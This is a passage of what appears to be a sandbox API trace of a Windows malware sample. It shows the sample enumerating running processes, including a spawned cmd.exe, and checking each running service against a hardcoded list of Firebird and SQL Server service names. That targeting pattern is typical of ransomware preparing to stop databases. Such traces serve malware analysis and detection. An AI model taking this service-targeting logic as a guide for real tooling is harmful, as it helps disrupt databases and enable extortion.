th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0033.540] lstrlenW (lpString="jam.exe") returned 7 [0033.540] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0033.541] lstrlenW (lpString="chooseincidence.exe") returned 19 [0033.541] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0033.541] lstrlenW (lpString="numericalrear.exe") returned 17 [0033.542] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0033.542] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0033.542] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0033.543] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0033.543] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0033.543] lstrlenW (lpString="come_wave.exe") returned 13 [0033.543] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0033.544] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0033.544] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0033.544] lstrlenW (lpString="dllhost.exe") returned 11 [0033.544] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0033.545] lstrlenW (lpString="dllhost.exe") returned 11 [0033.545] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0033.545] lstrlenW (lpString="uyuquk.exe") returned 10 [0033.545] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0033.546] lstrlenW (lpString="cmd.exe") returned 7 [0033.546] Process32NextW (in: hSnapshot=0x114, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 0 [0033.546] CloseHandle (hObject=0x114) returned 1 [0033.546] Sleep (dwMilliseconds=0x1f4) [0034.749] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5667c8 [0034.750] EnumServicesStatusExW (in: hSCManager=0x5667c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 0 [0034.751] GetLastError () returned 0xea [0034.751] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x11e4) returned 0x569bf8 [0034.751] EnumServicesStatusExW (in: hSCManager=0x5667c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x569bf8, cbBufSize=0x11e4, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x569bf8, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 1 [0034.752] CloseServiceHandle (hSCObject=0x5667c8) returned 1 [0034.753] lstrlenW (lpString="Appinfo") returned 7 [0034.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0034.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0034.753] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0034.753] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0034.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0034.753] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0034.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0034.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0034.753] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0034.753] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0034.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0034.753] lstrlenW (lpString="AudioSrv") returned 8 [0034.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0034.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0034.753] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0034.753] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0034.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0034.753] lstrlenW (lpString="BFE") returned 3 [0034.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0034.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0034.753] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0034.753] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0034.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0034.753] lstrlenW (lpString="CryptSvc") returned 8 [0034.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0034.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0034.754] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0034.754] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0034.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0034.754] lstrlenW (lpString="CscService") returned 10 [0034.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0034.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0034.754] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0034.754] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0034.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0034.754] lstrlenW (lpString="DcomLaunch") returned 10 [0034.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0034.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0034.754] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0034.754] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0034.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0034.754] lstrlenW (lpString="Dhcp") returned 4 [0034.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0034.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0034.754] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0034.754] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0034.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0034.754] lstrlenW (lpString="Dnscache") returned 8 [0034.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0034.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0034.754] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0034.754] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0034.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0034.754] lstrlenW (lpString="DPS") returned 3 [0034.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0034.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0034.754] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0034.754] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0034.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0034.755] lstrlenW (lpString="eventlog") returned 8 [0034.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0034.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0034.755] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0034.755] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0034.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0034.755] lstrlenW (lpString="EventSystem") returned 11 [0034.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0034.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0034.755] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0034.755] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0034.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0034.755] lstrlenW (lpString="gpsvc") returned 5 [0034.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0034.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0034.755] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0034.755] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0034.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0034.755] lstrlenW (lpString="iphlpsvc") returned 8 [0034.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0034.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0034.755] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0034.755] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0034.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0034.755] lstrlenW (lpString="LanmanServer") returned 12 [0034.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0034.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0034.755] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0034.755] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0034.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0034.756] lstrlenW (lpString="LanmanWorkstation") returned 17 [0034.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0034.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0034.756] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0034.756] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0034.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0034.756] lstrlenW (lpString="lmhosts") returned 7 [0034.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0034.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0034.756] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0034.756] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0034.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0034.756] lstrlenW (lpString="MMCSS") returned 5 [0034.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0034.756] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0034.756] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0034.756] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0034.756] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0034.756] lstrlenW (lpString="MpsSvc") returned 6 [0034.756] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0034.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0034.757] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0034.757] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0034.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0034.757] lstrlenW (lpString="Netman") returned 6 [0034.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0034.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0034.757] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0034.757] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0034.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0034.757] lstrlenW (lpString="netprofm") returned 8 [0034.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0034.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0034.757] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0034.757] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0034.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0034.757] lstrlenW (lpString="NlaSvc") returned 6 [0034.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0034.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0034.757] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0034.757] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0034.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0034.757] lstrlenW (lpString="nsi") returned 3 [0034.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0034.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0034.757] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0034.757] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0034.757] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0034.757] lstrlenW (lpString="PcaSvc") returned 6 [0034.757] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0034.757] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0034.757] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0034.758] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0034.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0034.758] lstrlenW (lpString="PlugPlay") returned 8 [0034.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0034.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0034.758] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0034.758] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0034.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0034.758] lstrlenW (lpString="Power") returned 5 [0034.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0034.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0034.758] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0034.758] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0034.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0034.758] lstrlenW (lpString="ProfSvc") returned 7 [0034.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0034.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0034.758] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0034.758] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0034.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0034.758] lstrlenW (lpString="RpcEptMapper") returned 12 [0034.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0034.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0034.758] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0034.758] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0034.758] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0034.758] lstrlenW (lpString="RpcSs") returned 5 [0034.758] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0034.758] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0034.758] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0034.758] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0034.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0034.759] lstrlenW (lpString="SamSs") returned 5 [0034.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0034.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0034.759] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0034.759] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0034.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0034.759] lstrlenW (lpString="Schedule") returned 8 [0034.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0034.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0034.759] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0034.759] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0034.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0034.759] lstrlenW (lpString="SENS") returned 4 [0034.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0034.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0034.759] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0034.759] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0034.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0034.759] lstrlenW (lpString="ShellHWDetection") returned 16 [0034.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0034.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0034.759] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0034.759] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0034.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0034.759] lstrlenW (lpString="Spooler") returned 7 [0034.759] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0034.759] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0034.759] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0034.759] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0034.759] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0034.760] lstrlenW (lpString="SysMain") returned 7 [0034.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0034.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0034.760] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0034.760] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0034.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0034.760] lstrlenW (lpString="Themes") returned 6 [0034.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0034.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0034.760] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0034.760] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0034.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0034.760] lstrlenW (lpString="TrkWks") returned 6 [0034.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0034.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0034.760] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0034.760] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0034.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0034.760] lstrlenW (lpString="UxSms") returned 5 [0034.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0034.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0034.760] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0034.760] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0034.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0034.760] lstrlenW (lpString="WdiServiceHost") returned 14 [0034.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0034.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0034.760] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0034.760] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0034.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0034.760] lstrlenW (lpString="WdiSystemHost") returned 13 [0034.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0034.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0034.761] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0034.761] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0034.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0034.761] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0034.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0034.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0034.761] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0034.761] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0034.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0034.761] lstrlenW (lpString="Winmgmt") returned 7 [0034.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0034.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0034.761] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0034.761] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0034.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0034.761] lstrlenW (lpString="WPDBusEnum") returned 10 [0034.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0034.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0034.761] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0034.761] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0034.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0034.761] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x569bf8 | out: hHeap=0x510000) returned 1 [0034.761] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x164 [0034.766] Process32FirstW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0034.767] Process32NextW (in: hSnapshot=0x164, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0034.767] 